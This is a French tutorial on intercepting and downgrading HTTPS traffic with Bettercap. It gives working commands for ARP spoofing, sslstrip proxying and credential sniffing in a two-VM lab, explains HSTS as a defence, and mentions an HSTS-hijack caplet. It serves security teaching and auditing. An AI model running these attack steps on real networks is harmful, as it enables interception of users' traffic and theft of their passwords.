Décryptez facilement le trafic HTTPS avec Bettercap 2 sur Linux
Le protocole HTTPS (Hypertext Transfer Protocol Secure) nous permet de naviguer sur Internet en toute sécurité, puisque le navigateur Web établit une communication sécurisée qui est cryptée et authentifiée point à point, de notre navigateur Web au serveur Web sur lequel nous nous connectons. HTTPS est la version sécurisée de HTTP , car dans HTTP toutes les informations sont envoyées sans aucun type de cryptage, donc si quelqu’un intercepte les communications, il pourra voir absolument tout ce qui est envoyé et/ou reçu, y compris les mots de passe. Aujourd’hui, dans RedesZone, nous allons vous apprendre à faire une attaque Man in the Middle pour capturer le trafic réseau et décrypter le trafic HTTPS. la configuration d’un proxy HTTP / HTTPS à l’aide du populaire outil bettercap pour Linux.
Qu’est-ce que le HTTPS et à quoi sert-il ?
Actuellement, la grande majorité des sites Web tels que RedesZone, les sites Web des banques, le commerce électronique en général et bien d’autres encore, disposent du protocole HTTPS pour assurer la sécurité des clients. HTTPS est la version sécurisée de HTTP , où toutes les communications sont cryptées et authentifiées point à point, en outre, l’intégrité de toutes les données est également vérifiée. Nous devons nous rappeler que le cryptage nous assure la confidentialité , c’est-à-dire que même si quelqu’un capture le trafic de données, il ne pourra pas le décrypter car tout est crypté point à point, bien qu’il existe des techniques pour nous mettre au «milieu» de la communication et procéder au décryptage dudit trafic. l’ authentificationsignifie que nous sommes ce que nous disons être, c’est-à-dire que nous établissons une communication avec le serveur Web, et qu’un tiers ne pourra pas se faire passer pour nous afin que les informations leur soient également envoyées. Enfin, l’ intégrité est une caractéristique très importante de la cryptographie, cela nous permet de vérifier que toutes les données qui partent d’une origine, atteignent une destination sans aucun type de modification. Si quelqu’un est capable d’interférer dans la communication des données, et la modifie, le protocole HTTPS (et tous les protocoles qui y participent) le détectera automatiquement et n’acceptera pas lesdites données.
HTTPS utilise le protocole TLS pour assurer la sécurité de ses communications, la grande majorité des connexions HTTPS utilisent TLSv1.2 et TLSv1.3 , ce dernier protocole est beaucoup plus rapide et aussi plus sécurisé que TLSv1.2, car seul il prend en charge certaines suites de chiffrement sécurisées, il ne permet pas l’incorporation de suites de chiffrement moins sécurisées comme il le fait avec TLSv1.2. Bien sûr, lors de l’utilisation de TLS, nous utilisons ci-dessous le protocole de couche de transport populaire TCP sur son port 443 par défaut. Dans le cas de HTTP, TCP est utilisé directement sur son port 80 par défaut, c’est très important que vous sachiez pour ce que nous expliquerons bientôt.
Fonctionnalités et installation de Bettercap
Bettercap est un outil très puissant compatible avec les principales distributions basées sur Linux, certaines de ses principales caractéristiques sont les suivantes :
- Scanner de réseau WiFi, permet les attaques de désauthentification, permet également les attaques sans clients vers les associations PMKID, permet de capturer les poignées de main des clients qui utilisent les protocoles WPA et WPA2.
- Scanner de périphérique BLE (Bluetooth Low Energy) pour lire et écrire des informations.
- Le scanner d’appareils sans fil utilisant la bande 2,4 GHz, tels que les souris sans fil, permet également les attaques MouseJacking avec injection de données.
- Permet des attaques passives et actives sur les réseaux IP
- Il permet de réaliser des attaques MitM basées sur ARP, DNS mais aussi DHCPv6, afin de capturer toutes les informations.
- Il permet de créer un proxy HTTP/HTTPS pour lever le trafic HTTPS sécurisé, et facilite grandement l’utilisation des scripts.
- Renifleur de réseau très puissant pour la collecte des informations d’identification des utilisateurs.
- Scanner de ports très rapide, bien que pour cela, il vaut mieux utiliser Nmap que le roi des scanners de ports.
- Il dispose d’une puissante API REST pour effectuer des attaques facilement.
- Il intègre une interface utilisateur graphique pour faciliter les attaques, bien que le terminal de commande soit très puissant.
- Nous avons un grand nombre de modules de différentes catégories pour étendre les fonctionnalités.
Dans les distributions Linux orientées vers la sécurité informatique, bettercap peut être installé par défaut. Sinon, nous devrons l’installer nous-mêmes avec toutes les dépendances. Bettercap est clairement l’un des meilleurs logiciels pour auditer les réseaux locaux, obtenir HTTP, HTTPS ou tout autre type de trafic en utilisant tout type de protocole de couche applicative, et aussi quel que soit le protocole applicatif de la couche transport utilisé. Grâce à la communauté et aux développeurs du logiciel Bettercap, nous avons beaucoup de fonctionnalités vraiment intéressantes pour mener à bien toutes les attaques. Le type d’attaque le plus intéressant est sûrement de pouvoir créer un proxy HTTP / HTTPS, avec lequel,
Une autre caractéristique très intéressante de ce programme est qu’il intègre une interface utilisateur graphique vraiment intuitive et très avancée, à partir de laquelle nous pouvons exécuter tout type de commande et voir en détail tout ce qui se passe sur le réseau local. Le moyen le plus simple d’utiliser Bettercap est d’utiliser Docker (version 17.05 ou supérieure), car il se trouve dans les référentiels de logiciels Docker, cependant, notre recommandation est d’utiliser Bettercap installé sur votre PC en natif, pour avoir les meilleures performances.
Si vous souhaitez installer Bettercap directement via Docker, exécutez simplement les commandes suivantes et il téléchargera automatiquement le Docker de Bettercap.
docker pull bettercap/bettercap
docker pull bettercap/dev
Et nous l’exécutons avec :
docker run -it --privileged --net=host bettercap/bettercap -h
En cas de ne pas avoir Docker, nous devrons le compiler à partir du code source et nous aurons besoin des dépendances suivantes :
- construire-essentiel
- libpcap-dev
- libusb-1.0-0-dev
- libnetfilter-queue-dev
Par exemple, sur les systèmes d’exploitation basés sur Debian, il est installé comme suit :
sudo apt update
sudo apt install golang git build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev
Plus tard, nous devrons télécharger le code source et le compiler :
git clone https://github.com/bettercap/bettercap
cd bettercap
make build
Une fois que nous aurons installé cet outil Bettercap, nous pourrons commencer à l’utiliser, nous le lancerons via la console « bettercap » et nous verrons la version. La meilleure chose à faire lorsque vous utilisez ce programme de manière avancée est d’exécuter les différentes commandes, car toutes les informations pertinentes apparaîtront sur la console, sans avoir besoin d’utiliser l’interface utilisateur graphique. De plus, nous devons garder à l’esprit que ce programme peut également être utilisé sur des serveurs afin d’effectuer des audits, de cette manière, nous devrons exécuter ce programme via la console car dans les scénarios de serveur, nous n’avons pas d’interface utilisateur graphique .
Avant de commencer, nous pouvons également exécuter Bettercap avec l’interface utilisateur Web. Pour ce faire, nous devons exécuter la commande suivante :
bettercap -eval "caplets.update; ui.update; q"
Et pour lancer l’environnement graphique, nous procédons comme suit :
sudo bettercap -caplet http-ui
Si nous ouvrons le navigateur Web et mettons http://127.0.0.1, nous pouvons accéder à l’interface utilisateur graphique :
Le nom d’utilisateur de l’interface utilisateur Web bettercap est « user » et le mot de passe est « pass », tel qu’il apparaît dans le fichier de configuration :
Une fois que nous accédons au menu d’administration de bettercap via le navigateur, nous pouvons voir les menus suivants :
Il existe de nombreuses attaques qui peuvent être exécutées directement depuis l’interface utilisateur graphique, mais nous allons le mettre dans des commandes car c’est presque aussi simple, cependant, nous allons également vous apprendre à effectuer certaines attaques via l’interface graphique Nom d’utilisateur.
Ainsi, vous pouvez décrypter les communications HTTPS
Le scénario de test où nous avons effectué tous les tests est deux VM dans VMware dans un environnement NAT, avec le sous-réseau 192.168.248.0/24 et la passerelle par défaut 192.168.248.2.
- Machine attaquante : Kali Linux avec IP 192.168.248.131
- Machine victime : Debian avec IP 192.168.248.129
La première chose que nous allons faire est d’exécuter l’attaque ARP Spoofing typique pour capturer tout le trafic, le trafic HTTPS sera crypté et nous ne pourrons pas le décrypter. Nous allons également capturer le trafic ICMP, le trafic TCP et UDP et le trafic HTTP. Pour cela, il suffit d’exécuter les commandes suivantes :
sudo bettercap
Une fois à l’intérieur de bettercap, nous devons exécuter plusieurs commandes pour configurer le logiciel. La première chose à faire est de définir la cible, dans notre cas la machine Debian avec IP 192.168.248.129. Il n’est pas nécessaire de mettre également la passerelle par défaut.
set arp.spoof.targets 192.168.248.129
arp.spoof on
Si nous exécutons la commande « help », bettercap nous dira tout ce qui fonctionne :
Une partie intéressante est si nous exécutons «help arp.spoof», car toutes les options disponibles dans ce module apparaîtront. L’une des options les plus intéressantes est «arp.spoof.fullduplex», cette option permet l’usurpation d’ARP à la fois vers la cible et vers la passerelle par défaut (passerelle), mais si le routeur est protégé contre les attaques d’usurpation d’ARP, l’attaque échouera. Notre recommandation est que vous l’activiez toujours, par conséquent, la liste des commandes serait la suivante :
set arp.spoof.targets 192.168.248.129
arp.spoof.fullduplex true
arp.spoof on
Une fois cela fait, si dans Kali Linux nous exécutons Wireshark pour capturer tous les paquets de l’interface eth0, nous pourrons voir tout le trafic entrant et sortant de et vers la victime. Si vous regardez, nous avons le trafic ICMP de 192.168.248.129, c’est-à-dire l’équipe Debian que nous attaquons.
Nous allons également capturer tout le trafic DNS, TCP, UDP et tout le protocole, y compris le trafic chiffré, mais nous ne pourrons pas le déchiffrer avec ARP Spoofing seul.
Si nous entrons dans bettercap via l’environnement graphique, nous pouvons faire la même chose, et nous pouvons même choisir de faire une usurpation ARP sur la passerelle par défaut.
Pour effectuer cette attaque via l’interface graphique, on va sur LAN, on sélectionne la ou les cibles, on les ajoute à «arp.spoof.targets» et on clique sur «Full-Duplex spoofing». Nous verrons la liste des équipements disponibles sur le réseau local, s’ils n’apparaissent pas, cliquez sur l’icône «Play» dans le module de reconnaissance.
Une fois que nous savons comment effectuer l’attaque typique d’usurpation d’identité ARP, nous allons maintenant faire la même chose, mais en activant le proxy HTTP avec ssltrip activé, pour lever toutes les communications HTTPS.
Nous exécutons bettercap sur Kali Linux comme d’habitude :
bettercap
Une fois à l’intérieur, nous devons configurer bettercap comme suit :
set http.proxy.sslstrip true
set net.sniff.verbose false
set arp.spoof.targets 192.168.248.129
arp.spoof.fullduplex true
arp.spoof on
http.proxy on
net.sniff on
Lorsque nous avons fait cela, si la victime visite un site avec HTTPS, il se convertira automatiquement en HTTP et nous pourrons capturer les informations d’identification de l’utilisateur. Ci-dessous, vous pouvez voir parfaitement comment j’ai essayé de me connecter à pccomponentes, et il a capturé à la fois le nom d’utilisateur (e-mail) et le mot de passe. Logiquement, nous avons introduit de fausses informations d’identification afin de ne pas afficher nos vraies, pour cette raison, elle renvoie une erreur 401.
Si nous parcourons d’autres sites Web, nous pouvons également voir tout le trafic.
Si HSTS (HTTP Strict Transport Security) est activé sur le Web, nous ne pourrons pas « lever » le trafic HTTPS, par conséquent, tout le trafic sera crypté.
Qu’est-ce que le HSTS et à quoi sert-il ?
Comme vous l’avez vu, décrypter les communications HTTPS est très simple, mais ce n’est pas toujours possible. Actuellement, de nombreux sites Web utilisent le protocole HSTS pour protéger davantage les communications de leurs utilisateurs. HSTS, ou également connu sous le nom de HTTP Strict Transport Security, est une politique de sécurité Web qui empêche cette même attaque que nous venons de vous apprendre, grâce à l’utilisation de cookies, le serveur Web «indique» au navigateur Web, que chaque fois qu’il revient pour accéder à votre page Web, utilisez le protocole HTTPS, ainsi la communication sera cryptée point à point, et même si nous interceptons la communication en reniflant le trafic, nous ne pourrons pas voir le trafic échangé car nous ne pouvons pas utiliser bettercap pour «lever» le cryptage TLS. Ces cookies ont une date d’expiration,
Le fonctionnement de HSTS est très simple, il existe certains navigateurs Web qui intègrent certains cookies HSTS par défaut, en particulier les «grands» sur Internet tels que Google et bien d’autres ont leurs domaines dans la liste de «préchargement» HSTS, par conséquent, nous ne pourra jamais accéder à ces domaines via le protocole HTTP. Si le navigateur détecte que ce domaine n’est pas accessible via HTTPS, il rejette la connexion et nous ne pourrons pas nous connecter. Si le navigateur détecte que le certificat numérique du serveur est auto-signé, il refusera également la connexion et nous ne pourrons pas nous connecter. En fait, même si nous accédons au mode incognito, nous ne pourrons pas nous connecter. Tous les navigateurs actuels intègrent généralement cette liste pour protéger les utilisateurs.
Dans le cas du «reste d’Internet» comme les sites de commerce électronique, les banques, les médias et bien d’autres, nous devrons entrer au moins une fois, afin que le cookie HSTS soit téléchargé dans notre navigateur Web et que nous obtenions cette protection . Dans ce cas, si dès la deuxième fois, le navigateur détecte que ce domaine n’est pas accessible via HTTPS, il rejettera la connexion et nous renverra une erreur lors de la connexion. De plus, si le navigateur détecte que le certificat numérique du serveur est auto-signé, la connexion sera également refusée et nous ne pourrons pas nous connecter. Si vous souhaitez accéder à ce site Web (pour une raison quelconque), vous devez utiliser un autre navigateur Web avec lequel vous n’avez jamais accédé auparavant, mais cela n’est pas recommandé car il pourrait vous attaquer, il est préférable de ne pas vous connecter au Web.
Si nous voulons mener une attaque contre un utilisateur et qu’il entre sur un site Web avec HSTS, la connexion ne peut être déchiffrée qu’avant la première connexion historique de l’utilisateur (parce qu’il s’agit d’un nouveau navigateur, d’un ordinateur nouvellement formaté, il n’est jamais est entré sur ce site Web, etc.) Imaginons que l’utilisateur victime a acheté un nouvel ordinateur portable, se rend dans un hôtel et se connecte pour la première fois à la banque avec son navigateur nouvellement installé, dans ce cas nous pourrions l’attaquer car il ne le fait toujours pas avoir le cookie HSTS dans votre navigateur Web. Pour éviter cela, nous avons la directive «preload» sur les serveurs web, mais nous devons l’utiliser avec précaution car nous devons nous inscrire sur la liste de préchargement HSTS, sinon les utilisateurs auront des problèmes de connexion.
Comme vous l’avez vu, la politique HSTS aide à protéger les utilisateurs du site Web contre les attaques passives et actives, cette mesure de sécurité est l’une des plus importantes qui doit être configurée sur un serveur Web, car un attaquant MitM aura une capacité minimale à intercepter les demandes et les réponses. entre la victime et le serveur Web.
Bettercap intègre un «caplet» qui nous permet de mener une attaque HSTS Hijack et de contourner cette protection, il est basé sur l’usurpation DNS et le transfert de la victime vers un autre domaine sous notre contrôle, pour capturer plus tard toutes les informations. Les caplets sont des scripts dans Bettercap qui sont préconfigurés, mais que nous pouvons facilement modifier, pour les télécharger, nous devons exécuter les commandes suivantes dans le terminal Linux :
git clone https://github.com/bettercap/caplets.git
cd caplets
sudo make install
Une fois fait, on l’exécute en mettant :
bettercap -caplet RUTA
Dans la capture d’écran suivante, vous pouvez voir l’exécution du caplet par défaut :
Et voici le bilan de l’attaque menée :
Nous vous recommandons de visiter le site officiel de Bettercap où vous trouverez toutes les informations sur cet excellent outil.